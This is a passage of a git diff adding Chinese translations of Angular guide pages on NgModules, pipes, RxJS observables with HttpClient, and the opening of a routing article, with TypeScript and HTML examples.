+  ], 
+  providers: [], 
+  bootstrap: [ 
+    AppComponent 
+  ] 
+ }) 
+ export class AppModule { } 
+```
+
+```typescript
+// ./app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  template: ` 
+  <!-- AwesomeDirective --> 
+  <h1 appAwesome>This element mutates as per the directive logic of appAwesome.</h1> 
+ 
+  <!-- AwesomePipe --> 
+  <p>Generic output: {{ componentData | awesome }}</p> 
+ 
+  <section> 
+    <!-- AwesomeComponent --> 
+    <app-awesome></app-awesome> 
+  </section> 
+  ` 
+ }) 
+ export class AppComponent { 
+  componentData: string = "Lots of transformable data!"; 
+ } 
+```
+
+`<app-awesome></app-awesome>` （组件）， `awesome` （管道）和`appAwesome` （指令）是AwesomeModule独有的。如果没有导出这些声明或AppModule忽略将AwesomeModule添加到其导入中，则AppComponent的模板将无法使用AwesomeModule的声明。 AwesomeModule是根NgModule AppModule的功能模块。
+
+Angular提供了一些自己的模块，可以在输入时补充root。这是因为这些功能模块导出了他们创建的内容。
+
+#### 静态模块方法
+
+有时，模块提供了使用自定义配置对象配置的选项。这是通过利用模块类中的静态方法实现的。
+
+这种方法的一个示例是`RoutingModule` ，它直接在模块上提供`.forRoot(...)`方法。
+
+要定义自己的静态模块方法，请使用`static`关键字将其添加到模块类。返回类型必须是`ModuleWithProviders` 。
+
+```ts
+// configureable.module.ts 
+ 
+ import { AwesomeModule } from './awesome.module'; 
+ import { ConfigureableService, CUSTOM_CONFIG_TOKEN, Config } from './configurable.service'; 
+ import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ 
+ 
+ @NgModule({ 
+  imports: [ 
+    AwesomeModule, 
+    BrowserModule 
+  ], 
+  providers: [ 
+    ConfigureableService 
+  ] 
+ }) 
+ export class ConfigureableModule { 
+  static forRoot(config: Config): ModuleWithProviders { 
+    return { 
+        ngModule: ConfigureableModule, 
+        providers: [ 
+            ConfigureableService, 
+            { 
+                provide: CUSTOM_CONFIG_TOKEN, 
+                useValue: config 
+            } 
+        ] 
+    }; 
+  } 
+ } 
+```
+
+```ts
+// configureable.service.ts 
+ 
+ import { Inject, Injectable, InjectionToken } from '@angular/core'; 
+ 
+ export const CUSTOM_CONFIG_TOKEN: InjectionToken<string> = new InjectionToken('customConfig'); 
+ 
+ export interface Config { 
+  url: string 
+ } 
+ 
+ @Injectable() 
+ export class ConfigureableService { 
+  constructor( 
+    @Inject(CUSTOM_CONFIG_TOKEN) private config: Config 
+  ) 
+ } 
+```
+
+请注意， `forRoot(...)`方法返回的对象几乎与`NgModule`配置相同。
+
+`forRoot(...)`方法接受用户在导入模块时可以提供的自定义配置对象。
+
+```ts
+imports: [ 
+  ... 
+  ConfigureableModule.forRoot({ url: 'http://localhost' }), 
+  ... 
+ ] 
+```
+
+然后使用名为`CUSTOM_CONFIG_TOKEN`的自定义`InjectionToken`提供`ConfigureableService`并将其注入`ConfigureableService` 。应使用`forRoot(...)`方法仅导入一次`ConfigureableModule` 。这为`CUSTOM_CONFIG_TOKEN`提供了自定义配置。所有其他模块都应该导入`ConfigureableModule`而不使用`forRoot(...)`方法。
+
+#### 来自Angular的NgModule示例
+
+Angular提供了各种可从`@angular`导入的模块。两个最常导入的模块是`CommonModule`和`HttpClientModule` 。
+
+`CommonModule`实际上是`BrowserModule`一个子集。两者都提供对`*ngIf`和`*ngFor`结构指令的访问。 `BrowserModule`包含Web浏览器的特定于平台的安装。 `CommonModule`省略了此安装。 `BrowserModule`应该导入到Web应用程序的根NgModule中。 `CommonModule`为不需要平台安装的功能模块提供`*ngIf`和`*ngFor` 。
+
+`HttpClientModule`提供`HttpClient`服务。请记住，服务位于`@NgModule`元数据的providers数组中。它们不可申报。在编译期间，每个NgModule都合并到一个模块中。与声明不同，服务不是封装的。它们都可以通过位于合并的NgModule旁边的根注入器实例化。
+
+回到关键点。与任何其他服务一样， `HttpClient`通过依赖注入（DI）通过其构造函数实例化为类。使用DI，根注入器将`HttpClient`的实例注入构造函数。此服务允许开发人员使用服务的实现发出HTTP请求。
+
+`HttpClient`实现包括`HttpClientModule`提供程序数组。只要根NgModule导入`HttpClientModule` ， `HttpClient`就会按照预期从根的范围内实例化。
+
+#### 结论
+
+您可能已经利用了Angular的NgModules。 Angular使得将模块很容易地放入根NgModule的imports数组中。实用程序通常从导入的模块的元数据中导出。因此，为什么它的实用程序在根NgModule中输入后突然变得可用。
+
+NgModules与普通的JavaScript模块紧密配合。一个提供令牌，而一个使用它们进行配置。他们的团队合作产生了Angular框架独有的强大的模块化系统。它提供了一个新的组织层，高于除应用程序之外的所有其他原理图。
+
+希望本文能够进一步加深您对NgModules的理解。对于一些更奇特的用例，Angular可以进一步利用这个系统。本文介绍了基础知识，以便您可以使用以下链接了解更多信息。
+
+## 来源
+
+*   [角度团队。 “NgModules”。 _谷歌_ 2018年6月6日访问。](https://angular.io/guide/ngmodules)
+*   [Koretskyi，Maxim。 “避免与Angular模块的常见混淆”。 _Angular In Depth_ ，2017年8月10日。访问时间为2018年6月6日。](https://blog.angularindepth.com/avoiding-common-confusions-with-modules-in-angular-ada070e6891f)
+
+## 资源
+
+*   [角度文档](https://angular.io/guide)
+*   [角度深度](https://blog.angularindepth.com)
+*   [Angular GitHub存储库](https://github.com/angular/angular)
+*   [角度CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/pipes/index.md b/client/src/guide/chinese/angular/pipes/index.md
new file mode 100644
index 0000000000..a80bae41a1
--- /dev/null
+++ b/client/src/guide/chinese/angular/pipes/index.md
@@ -0,0 +1,168 @@
+---
+title: Pipes
+localeTitle: 管道
+---
+# 管道
+
+#### 动机
+
+输出数据转换。它们确保数据在加载到用户屏幕上时处于理想的格式。通常，数据会在幕后进行转换。使用管道，转换数据可以在模板HTML中进行。管道直接转换模板数据。
+
+管道看起来不错，方便。它们有助于保持组件类的基本转换。从技术上讲，管道封装了数据转换逻辑。
+
+#### 输出转换
+
+如前一节所述，管道内联转换数据。管道语法与shell脚本相关联。在许多脚本中，命令的一部分的输出作为输入通过_管道传输_到下一部分作为输入。同样的趋势是角管的特征。
+
+在Angular中，存在许多与模板HTML中的数据交互的方式。管道可以应用于将数据解析到模板HTML中的任何位置。它们可以在微结构逻辑和innerHTML变量插值中发生。管道可以解释所有转换而无需添加到组件类。
+
+管道也是_可链接的_ 。您可以一个接一个地集成管道，以执行日益复杂的转换。作为专业的数据变换器，管道几乎不是微不足道的。
+
+#### 用例
+
+Angular预先包装了一套基本的管道。与其中几个人合作将发展直觉来处理其余的问题。以下列表提供了两个示例。
+
+*   AsyncPipe
+    
+*   DatePipe
+    
+
+这两个执行简单的任务。它们的简单性非常有益。
+
+##### AsyncPipe
+
+本节要求对Promises或Observables有基本的了解，以便充分理解。 AsyncPipe可以在两者中的任何一个上运行。 AsyncPipe从Promises / Observables中提取数据作为下一步的输出。
+
+对于Obervables，AsyncPipe会自动订阅数据源。无论数据来自何处，AsyncPipe都会订阅源可观察对象。 `async`是AsyncPipe的语法名称，如下所示。
+
+```html
+
+<ul *ngFor=“let potato of (potatoSack$ | async); let i=index”> 
+  <li>Potatoe {{i + 1}}: {{potato}}</li> 
+ </ul> 
+```
+
+在示例中， `potatoSack$`是一个Observable，等待上传土豆。一旦马铃薯同步或异步到达，AsyncPipe就会将它们作为_可迭代_数组接收。然后列表元素填满土豆。
+
+##### DatePipe
+
+格式化日期字符串需要使用JavaScript `Date`对象进行相当多的黑客攻击。假设给定输入是有效的时间格式，DatePipe提供了一种格式化日期的强大方法。
+
+```typescript
+// example.component.ts 
+ 
+ @Component({ 
+  templateUrl: './example.component.html' 
+ }) 
+ export class ExampleComponent { 
+  timestamp:string = '2018-05-24T19:38:11.103Z'; 
+ } 
+```
+
+```html
+
+<!-- example.component.html --> 
+ 
+ <div>Current Time: {{timestamp | date:'short'}}</div> 
+```
+
+上述`timestamp`的格式是[ISO 8601 1](https://en.wikipedia.org/wiki/ISO_8601) - 不是最容易阅读的。 DatePipe（ `date` ）将ISO日期格式转换为更传统的`mm/dd/yy, hh:mm AM|PM` 。还有许多其他格式选项。所有这些选项都在[官方文档中](https://angular.io/api/common/DatePipe) 。
+
+#### 创建管道
+
+虽然Angular只有一定数量的管道，但`@Pipe`装饰器允许开发人员创建自己的管道。该过程从`ng generate pipe [name-of-pipe]` ，用一个优选的文件名替换`[name-of-pipe]` 。这是一个[Angular CLI](https://cli.angular.io)命令。它产生以下结果。
+
+```typescript
+import { Pipe, PipeTransform } from '@angular/core'; 
+ 
+ @Pipe({ 
+  name: 'example' 
+ }) 
+ export class ExamplePipe implements PipeTransform { 
+  transform(value: any, args?: any): any { 
+      return null; 
+  } 
+ } 
+```
+
+此管道模板简化了自定义管道创建。 `@Pipe`装饰器告诉Angular该类是一个管道。 `name: 'example'`的值`name: 'example'` ，在本例中是`example` ，是Angular在扫描自定义管道的模板HTML时识别的值。
+
+关于类逻辑。 `PipeTransform`实现提供了`transform`函数的指令。此函数在`@Pipe`装饰器的上下文中具有特殊含义。它默认接收两个参数。
+
+`value: any`是管道接收的输出。想想`<div>{{ someValue | example }}</div>` 。 someValue的值传递给`transform`函数的`value: any`参数。这与ExamplePipe类中定义的`transform`函数相同。
+
+`args?: any`管道可选择接收的任何参数。想想`<div>{{ someValue | example:[some-argument] }}</div>` 。 `[some-argument]`可以被任何一个值替换。该值将传递给`transform`函数的`args?: any`参数。也就是说，在ExamplePipe的类中定义了`transform`函数。
+
+无论函数返回什么（ `return null;` ）都成为管道操作的输出。查看下一个示例以查看ExamplePipe的完整示例。根据管道接收的变量，它将输入大写或小写为新输出。无效或不存在的参数将导致管道返回与输出相同的输入。
+
+```typescript
+// example.pipe.ts 
+ 
+ @Pipe({ 
+  name: 'example' 
+ }) 
+ export class ExamplePipe implements PipeTransform { 
+  transform(value:string, args?:string): any { 
+    switch(args || null) { 
+      case 'uppercase': 
+        return value.toUpperCase(); 
+      case 'lowercase': 
+        return value.toLowerCase(); 
+      default: 
+        return value; 
+    } 
+  } 
+ } 
+```
+
+```typescript
+// app.component.ts 
+ 
+ @Component({ 
+  templateUrl: 'app.component.html' 
+ }) 
+ export class AppComponent { 
+  someValue:string = "HeLlO WoRlD!"; 
+ } 
+```
+
+```html
+
+<!-- app.component.html --> 
+ 
+ <!-- Outputs “HeLlO WoRlD!” --> 
+ <h6>{{ someValue | example }}</h6> 
+ 
+ <!-- Outputs “HELLO WORLD!” --> 
+ <h6>{{ someValue | example:'uppercase' }}</h6> 
+ 
+ <!-- Outputs “hello world!” --> 
+ <h6>{{ someValue | example:'lowercase' }}</h6> 
+```
+
+理解上面的示例意味着您了解Angular管道。还有一个话题要讨论。
+
+#### 纯净和不纯的管道
+
+到目前为止，你所看到的一切都是_纯粹的_管道。 `pure: true`默认情况下在`@Pipe`装饰器的元数据中设置`pure: true` 。两者之间的差异构成了Angular的变化检测。
+
+只要其派生输入的值发生更改，纯管道就会自动更新。管道将重新执行，以在输入值发生可检测的变化时产生新的输出。可检测的变化由Angular的变化检测循环确定。
+
+每当发生更改检测周期时，Impure管道都会自动更新。 Angular的变化检测经常发生。它表示组件类的成员数据是否发生了更改。如果是这样，模板HTML将使用更新的数据进行更新。否则，什么都不会发生。
+
+在不纯的管道的情况下，无论是否存在可检测的变化，它都将更新。更改检测循环时，不纯的管道会更新。不纯的管道通常消耗大量资源，通常是不明智的。也就是说，它们更像是逃生舱。如果您需要检测敏感管道，请在`@Pipe`装饰器的元数据中切换`pure: false` 。
+
+#### 结论
+
+那涵盖了管道。管道有很多超出本文范围的潜力。管道为组件的模板HTML提供简洁的数据转换。在数据必须进行小规模转换的情况下，它们是很好的做法。
+
+## 来源
+
+1.  [维基社区。 _ISO 8601_ 。维基百科。 2018年5月27日访问](https://en.wikipedia.org/wiki/ISO_8601)
+
+## 资源
+
+*   [角度文档](https://angular.io/guide/pipes)
+*   [Angular GitHub存储库](https://github.com/angular/angular)
+*   [用Angular预包装的管道列表](https://angular.io/api?query=pipe)
+*   [角度CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/reactive-extensions/index.md b/client/src/guide/chinese/angular/reactive-extensions/index.md
new file mode 100644
index 0000000000..56a791173d
--- /dev/null
+++ b/client/src/guide/chinese/angular/reactive-extensions/index.md
@@ -0,0 +1,347 @@
+---
+title: Reactive Extensions
+localeTitle: 反应性扩展
+---
+# Angular中的反应性扩展
+
+#### 动机
+
+JavaScript的反应性扩展（RxJS）是_可观察_数据流的库。 RxJS在命令行执行`ng new [name-of-application]`时安装Angular。这使用Angular命令行界面（CLI）。 RxJS补充了数据通过`Observable`流程。 `Observable`对象有助于_可迭代_数据的流动。
+
+数据流不是主要用例。毕竟，数据流并行事件流。事件发出，因此应用程序知道数据何时到达。虽然事件流构成了RxJS补充的核心，但本文也将它们称为数据流。
+
+流同步（立即）或异步（超时）执行。 RxJS通过`Observable`数据流轻松处理这两种情况。严格的异步性是可以转换的。使用内存中的_可迭代_数据会立即发生，而外部数据获取需要时间。 Angular支持RxJS库，因此它可以处理带有数据流的两种用例。
+
+#### 反应式编程
+
+在深入研究之前，了解支持RxJS库的范例非常重要。如上所述，它通过`Observable`对象工作，该对象简化了事件发射数据。
+
+RxJS围绕基本`Observable` 。它的整个图书馆补充了它的功能。 RxJS甚至包括其他对象，包括`Subject` ， `Subscription`和`Observer` 。每个都是它自己的基本`Observable`的自定义变体。
+
+RxJS源于反应式编程范例。这种范式引入了_可观察的_模式。在其中存在这个关键思想：单个`Observable`在其所有`Observer`被通知时发出。 `Observer` _订阅_ `Observable`以便他们收到通知。此通知可能意味着几件事。
+
+它可能表示数据更改或数据到达，如本文中所述。它可能表示影响`Observer`的应用程序的某些部分发生了变化。
+
+这种_可观察的_模式也力图解耦概念。 `Observable`应该能够在没有任何`Observer`的情况下运行，反之亦然。这通常意味着它们可以独立而不是完全相互作用。
+
+如果好奇，您可以通过阅读[本维基百科文章](https://en.wikipedia.org/wiki/Reactive_programming)了解有关反应式编程基础的更多信息。本节介绍了本文其余部分所需的内容。
+
+#### 观测
+
+为了快速重申，可以_观察到_ `Observable` 。这样一个`Observable`可以根据数据流为其依赖项提供反馈。在RxJS中， `Observable`是它自己的工厂函数，用于创建`Observable`对象。他们的基本蓝图如下。
+
+```typescript
+import { Observable } from 'rxjs'; 
+ 
+ const observable = Observable.create((source) => { 
+  source.next(data); 
+ }); 
+```
+
+`.next`在向观察者发出事件的同时传递数据。 `Observable`使用`.next`从其`.create`回调中发出数据。它接受一个表示要发出的数据的参数。 `Observable`还没有在JavaScript中实现。 RxJS提供了其库的替代品。
+
+下一步是观察员。要告诉函数或对象_观察_ `Observable` ，使用以下语法： `observable.subscribe(observer)` 。另一种看待它的方法是`producer.subscribe(consumer)` 。 Observable通过调用`.next` _生成_数据。然后在接收数据时通知消费者。
+
+```typescript
+import { Observable } from 'rxjs'; 
+ 
+ const observable = Observable.create((source) => { 
+  source.next("Hello"); 
+  source.next("World!"); 
+ }); 
+ 
+ observable.subscribe((word) => console.log(word)); 
+ // console output 
+ /* 
+ Hello 
+ World! 
+ */ 
+```
+
+两个`.next`调用发生在`Observable`的`.create`回调（数据生成器）中。这导致观察者（数据使用者）的两个单独的控制台输出。
+
+`.next`的两次调用表示同步数据流。 Streams将数据概念化为线性有序流。它可以根据数据的可用性同步或异步解析。
+
+如果包含流的数据容易获得，则它同步执行。否则，流将超时异步解析。在任何一种情况下，数据的顺序总是相同的，这取决于observable中`.next`的调用。
+
+`Observable`像队列一样运行。在一段数据上调用`.next`会将其推送到队列的后面。一旦解决了数据从前面弹出。
+
+`Observable`数据流具有巨大的吸引力。它们在顺序上是确定性的，并且根据数据可用性而合理地执行。此外，任何数量的观察者都可以_观察_数据源`Observable` 。这意味着数据可以生成一次并在一次操作中随处发出。
+
+回调函数不是使用数据的唯一方法。观察者可以作为生产者和消费者彼此链接。
+
+```typescript
+const observableI = Observable.create((source) => { 
+  source.next("Hello World!"); 
+ }); 
+ 
+ const observableII = new Observable().subscribe((v) => console.log(v)); 
+ 
+ observableI.subscribe(observableII); 
+ // console output 
+ /* 
+ Hello World! 
+ */ 
+```
+
+`.subscribe`位于`Observable`对象上。你可以用一个`Observable`作为它的源（生产者）和另一个observable作为它的参数（消费者）来调用它。数据可以通过任意数量的可观察量流动（发射）。
+
+#### JavaScript的反应性扩展（RxJS）
+
+流数据很好，但是如果observable不能编辑流，那又有什么意义呢？这就是RxJS库发挥作用的地方。它提供了对数据流执行各种突变的运算符。
+
+Angular利用这些运算符来转换传入的数据。开发人员可以使用RxJS运算符从传入流中删除任何不必要的数据。这样可以节省内存并减少对额外转换逻辑的需求。
+
+RxJS提供与标准`Observable`偏差，如`Subject` ， `Subscription`和`Observer` 。将这些偏差视为传统`Observable`特殊风味。他们没有必要使用图书馆。也就是说，像`Subject`这样的变体具有超越标准`Observable`令人难以置信的用例。
+
+本文坚持使用标准的`Observable` 。来自RxJS的所有数据流运算符都通过`Observable`工作。
+
+许多核心RxJS运营商来自JavaScript的Array Extras。 Array对象的原型包含许多与RxJS库相似的内容。这些也被称为'额外'。数组是类似于可观察数据流的类似流的结构。
+
+为了更好地理解RxJS运算符，本文将简要介绍JavaScript的Array Extras。每个功能几乎与其RxJS对应功能相同。区别仅在于数据的格式（可迭代数组与可迭代流）。
+
+#### 阵列附加功能
+
+数组包含许多实用方法。这些方法称为Array Extras。它们都存在于Array对象的原型中。下面的列表包含五个与RxJS并行的额外内容。
+
+*   `.reduce`
+*   `.filter`
+*   `.map`
+*   `.every`
+*   `.forEach`
+
+对于每个示例，数组迭代自身以产生最终结果。
+
+`.reduce`将数组最小化为单个值。 `.filter`使用布尔值评估修剪数组。 `.map`逐个元素地转换数组。 `.every`根据布尔条件计算整个数组的true或false。 `.forEach`遍历数组的元素。
+
+数组模型流。它们是彼此按顺序并逐个迭代。 Observable以类似的方式将数据元素简化为他们的观察者。这就是RxJS在其库中包含每个Array Extra的逻辑对应的原因。当然，与Array Extras相比，RxJS提供了更多自己的运算符。
+
+#### 基本的RxJS运算符
+
+实际上有一整套图书馆的RxJS运营商。本文重点介绍下面列出的Array Extras的启发。
+
+*   `.reduce`
+*   `.filter`
+*   `.map`
+*   `.every`
+*   `.forEach`
+
+之前的列表没有任何变化。您对Array Extras的理解适用于RxJS运算符。唯一能看到的是一个名为`.pipe`的函数，在接下来的几个例子中会有很多用处。 `.pipe`链接RxJS运算符。来自前一个运算符的结果将进入下一个运算符直到最终运算符。然后，结果数据从可观察流中发出。
+
+请注意下面的标准示例。使用它来比较每个运营商对发出的数据流的影响。
+
+```typescript
+import { Observable, from } from 'rxjs'; 
+ 
+ const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+ */ 
+```
+
+`.from`将数组转换为`Observable`对象，该对象在每个数组元素上调用`.next` 。 `.pipe`函数接受任意数量的参数作为数组运算符。这是每个运营商实施的地方。运算符按照它们的实现顺序执行简化数据，作为`.pipe`参数。
+
+##### 减少
+
+`.reduce`在发出之前将数据流最小化为单个值。
+
+```typescript
+import { reduce } from 'rxjs/operators'; 
+ 
+ const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream).pipe( 
+  reduce((accum, val) => (accum + val)) 
+ ); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 15 
+ */ 
+```
+
+##### 过滤
+
+`.filter`修剪流，消除不满足其条件的流值。
+
+```typescript
+import { filter } from 'rxjs/operators'; 
+ 
+ const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream).pipe( 
+  filter((val) => (val % 2 === 0)) // filters out odd numbers 
+ ); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 2 
+ 4 
+ */ 
+```
+
+##### 地图
+
+`.map`定位并转换每个正在进行的流值。
+
+```typescript
+const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream).pipe( 
+    map((val) => (val + 1)) 
+ ); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 2 
+ 3 
+ 4 
+ 5 
+ 6 
+ */ 
+```
+
+##### 挑战：每一个和每一个
+
+了解`.every`和`.forEach`作为Array Extras，尝试将它们实现为RxJS运算符。请随意使用前面的示例进行指导。经过大量阅读后，一点点的练习都有很长的路要走！
+
+#### Angular中的HTTP
+
+本节将RxJS和Angular结合在一起，展示它们如何相互作用。通常，Angular提供的服务将提供`Observable` 。然后， `Observable`的数据流可以使用带有`.pipe` RxJS运算符进行`.pipe` 。
+
+Angular通过`@angular/common/http`提供`HttpClient`服务。 `HttpClientModule`也来自`@angular/common/http`并导出`HttpClient`服务。应用程序的根模块必须导入`HttpClientModule` 。这使得`HttpClientModule`从应用程序的任何位置_注入_ 。
+
+`HttpClientModule`服务发出HTTP请求。这些请求是异步的。让他们对Angular感兴趣的是如何处理请求。每个请求都会返回一个`Observable` 。 RxJS可以把它带走。
+
+即将到来的示例使用由[Typicode](https://jsonplaceholder.typicode.com)构建的公共API。 API为每个异步`GET`请求提供100个元素的数组。
+
+```typescript
+// ./models/post.model.ts 
+ 
+ export interface Post { 
+  userId: number; 
+  id: number; 
+  title: string; 
+  body: string; 
+ } 
+```
+
+```typescript
+// ./services/json.service.ts 
+ 
+ import { HttpClient } from '@angular/common/http'; 
+ import { Injectable } from '@angular/core'; 
+ 
+ import { Observable, from } from 'rxjs'; 
+ import { switchMap, map, filter, reduce } from 'rxjs/operators'; 
+ 
+ import { Post } from '../models/post.model'; 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class JsonService { 
+  constructor(private http: HttpClient) { } 
+ 
+  getPostsByUserId(id: number): Observable<any> { 
+    const trim$ = (stream) => from(stream) 
+      .pipe( 
+        filter((post: Post) => +post.userId === +id), 
+        map((post: Post) => ({ title: post.title, body: post.body })), 
+        reduce((accum: Post[], post: Post) => accum.concat([post]), []) 
+      ); 
+ 
+    return this.http.get("https://jsonplaceholder.typicode.com/posts") 
+      .pipe( 
+        switchMap((value) => trim$(value)) 
+      ); 
+  } 
+ } 
+```
+
+```typescript
+// ./components/example/example.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ import { JsonService } from '../../services/json.service'; 
+ import { Post } from '../../models/post.model'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>Request User Posts</h1> 
+  <span>User: </span><input #userInput> 
+  <button (click)="requestForPosts(userInput.value)">REQUEST</button> 
+  <hr> 
+  <ul> 
+    <div *ngIf="userPosts"> 
+      <div *ngFor="let post of userPosts"> 
+        <h3>{{ post.title }}</h3> 
+        <p>{{ post.body }}</p> 
+      </div> 
+    </div> 
+    <h3 *ngIf="!userPosts">No posts shown...</h3> 
+  </ul> 
+  ` 
+ }) 
+ export class ExampleComponent { 
+  userPosts: Post[]; 
+ 
+  constructor(private json: JsonService) { } 
+ 
+  requestForPosts(id: number): void { 
+    this.json.getPostsByUserId(id) 
+      .subscribe((posts: Post[]) => { this.userPosts = posts.length > 0 ? posts : null; }); 
+  } 
+ } 
+```
+
+`json.service.ts`创建一个`Observable`的代表`component.example.ts` 。组件可以订阅返回的`Observable` 。到`Observable`解析数据流时，只会发出一个值。
+
+对`jsonplaceholder.typicode.com`的请求产生一个包含100个帖子的单个数组。通过`HttpClient`的请求产生一个`Observable` 。运算符`switchMap`返回另一个`Observable` ，它覆盖当前流。变量`trim$`将`Observable`存储为其值。将`$`附加到用于存储`Observable`的变量是惯例。
+
+`from` `jsonplaceholder.typicode.com`将数组转换为100值发射的`Observable` 。然后，RxJS运算符筛选流中的每个数据。他们删除与请求无关的流值。进行数据修剪，以使流值保持不必要的信息。最终结果再次作为单个数组连接在一起，向其观察者发出一个数组。
+
+在`component.example.ts` ，JsonService引用返回刚才描述的`Observable` 。此方法在组件模板中单击按钮时调用。模板中的输入框也提供单个`id`参数。
+
+按下按钮，JsonService返回一个发出单个数组的`Observable` 。 `.subscribe`对返回的`Observable`调用。然后，该组件将`userPosts`的值设置为等于发出的数组。
+
+角度变化检测可以获取类数据的变化。模板更新和`*ngFor`确保`*ngFor`每个数组元素`userPosts`呈现自己的模板元素。
+
+#### 结论
+
+RxJS提供核心`Observable`及其运算符。该库使用`ng new [name-of-app]` （Angular CLI）从命令行自动安装。 RxJS核心类型和运算符分别下载到`rxjs`和`rxjs/operators` 。
+
+即使您不使用CLI， `HttpClient`等服务仍然可用。如果RxJS不可用，则服务返回`Promise`而不是`Observable` 。与`Observable`不同， `Promise`对象是JavaScript的原生对象。这可能会在下一个官方JavaScript版本中发生变化。
+
+也就是说，充分利用RxJS！任何可迭代的结构都可以容纳`Observable` 。有了它，整个RxJS库变得可用。其运营商有效地将数据从流转换为结果。此外，观察者可以订阅结果，从而提高数据的整体可移植性。
+
+## 来源
+
+*   [角度团队。 “RxJS库”。 _谷歌_ 2018年6月5日访问。](https://angular.io/guide/rx-library)
+*   [福布斯，艾略特。 “使用Angular和Socket.io教程创建实时应用程序”。 _TutorialEdge.net_ ，2017年1月10日。访问2018年6月5日。](https://tutorialedge.net/typescript/angular/angular-socket-io-tutorial)
+*   [RxJS团队。 “RxJS文档”。 _RxJS_ 。 2018年6月5日访问。](https://rxjs-dev.firebaseapp.com)
+*   [Sukale，Ryan。 “Rxjs主题与可观察之间的差异”。 _TutorialHorizo​​n_ ，2017年3月23日。访问2018年6月5日。](https://javascript.tutorialhorizon.com/2017/03/23/rxjs-subject-vs-observable)
+*   [维基百科社区。 “反应式编程”。 _维基百科_ ，2018年6月2日。访问2018年6月5日。](https://en.wikipedia.org/wiki/Reactive_programming)
+
+## 资源
+
+*   [角度文档](https://angular.io/guide)
+*   [GitHub上的Angular](https://github.com/angular/angular)
+*   [角度CLI](https://cli.angular.io)
+*   [RxJS和Angular](https://angular.io/guide/rx-library)
+*   [反应式编程](https://en.wikipedia.org/wiki/Reactive_programming)
+*   [JavaScript的反应性扩展](https://rxjs-dev.firebaseapp.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/routing/index.md b/client/src/guide/chinese/angular/routing/index.md
new file mode 100644
index 0000000000..3eb83ebe29
--- /dev/null
+++ b/client/src/guide/chinese/angular/routing/index.md
@@ -0,0 +1,673 @@
+---
+title: Routing
+localeTitle: 路由
+---
+# 路由
+
+#### 动机
+
+路由至关重要。许多现代Web应用程序为一个页面托管了太多信息。用户不必滚动浏览整个应用程序的内容。应用程序需要将自身拆分为可区分的部分。
+
+用户优先考虑必要的信息。路由帮助他们找到包含此类信息的应用程序部分。对其他用户有用的任何其他信息可能存在于完全独立的路由上。通过路由，两个用户都可以快速找到所需内容。不相关的细节在不相关的路线背后隐藏。
+
+路由优于排序和限制对应用程序数据的访问。绝不应向未经授权的用户显示敏感数据。在每条路线之间，应用程序可能会介入。它可以检查用户的会话以进行身份​​验证。该检查确定如果它应该呈现的路线呈现什么。路由为开发人员提供了在继续之前验证用户的绝佳机会。
+
+创建路线列表也可以促进组织。在开发方面，它使开发人员在可区分的部分进行思考。用户也可以从中受益，但在浏览应用程序代码时更多的是开发人员。程序化路由器列表描绘了应用程序前端的精确模型。
+
+至于Angular，路由在框架内占用了自己的整个库。所有现代前端框架都支持路由，而Angular也不例外。使用散列或位置路由从客户端进行路由。两种样式都允许客户端管理自己的路由。在初始请求之后，不需要服务器的其他帮助。
+
+Web浏览器很少使用客户端路由刷新。尽管没有刷新，但书签，历史记录和地址栏等Web浏览器实用程序仍然有效。这使得流畅的路由体验不会弄乱浏览器。在路由到不同页面时，不再有重载页面重新加载。
+
+Angular在用于路由的核心技术上增加了一层抽象。本文旨在解释这种抽象。 Angular中存在两种路由策略：路径位置和哈希。本文重点介绍路径位置策略，因为它是默认选项。
+
+此外，路径位置可能会在[Angular Universal](https://universal.angular.io)完全发布后弃用散列路由。无论如何，这两种策略的实施非常相似。学习一个学习另一个。开始的时候了！
+
+#### RouterModule安装程序
+
+路由实用程序使用`@angular/router`提供的`RouterModule`导出。它不是核心库的一部分，因为并非所有应用程序都需要路由。引入路由的最常规方式是作为自己的[功能模块](https://angular.io/guide/feature-modules) 。
+
+随着路由复杂性的增加，将其作为自己的模块将促进根模块的简单性。在不损害功能的情况下保持简单愚蠢构成模块的良好设计。
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ import { RouterModule, Routes } from '@angular/router'; 
+ 
+ import { AComponent } from '../../components/a/a.component'; 
+ import { BComponent } from '../../components/b/b.component'; 
+ 
+ // an array of soon-to-be routes! 
+ const routes: Routes = []; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ] 
+ }) 
+ export class AppRoutingModule { } 
+```
+
+`.forRoot(...)`是一个可从RouterModule类获得的类函数。该函数接受`Route`对象数组作为`Routes` 。 `.forRoot(...)`配置eager-loading路由，而其替代`.forChild(...)`配置延迟加载。
+
+渴望加载意味着路由从一开始就将其内容加载到应用程序中。延迟加载是按需进行的。本文的重点是热切加载。它是在应用程序中加载的默认方法。 RouterModule类定义类似于下一个代码块。
+
+```typescript
+@NgModule({ 
+  // … lots of metadata ... 
+ }) 
+ export class RouterModule { 
+  forRoot(routes: Routes) { 
+    // … configuration for eagerly loaded routes … 
+  } 
+ 
+  forChild(routes: Routes) { 
+    // … configuration for lazily loaded routes … 
+  } 
+ } 
+```
+
+不要担心示例省略注释的配置详细信息。现在已经有了一般性的了解。
+
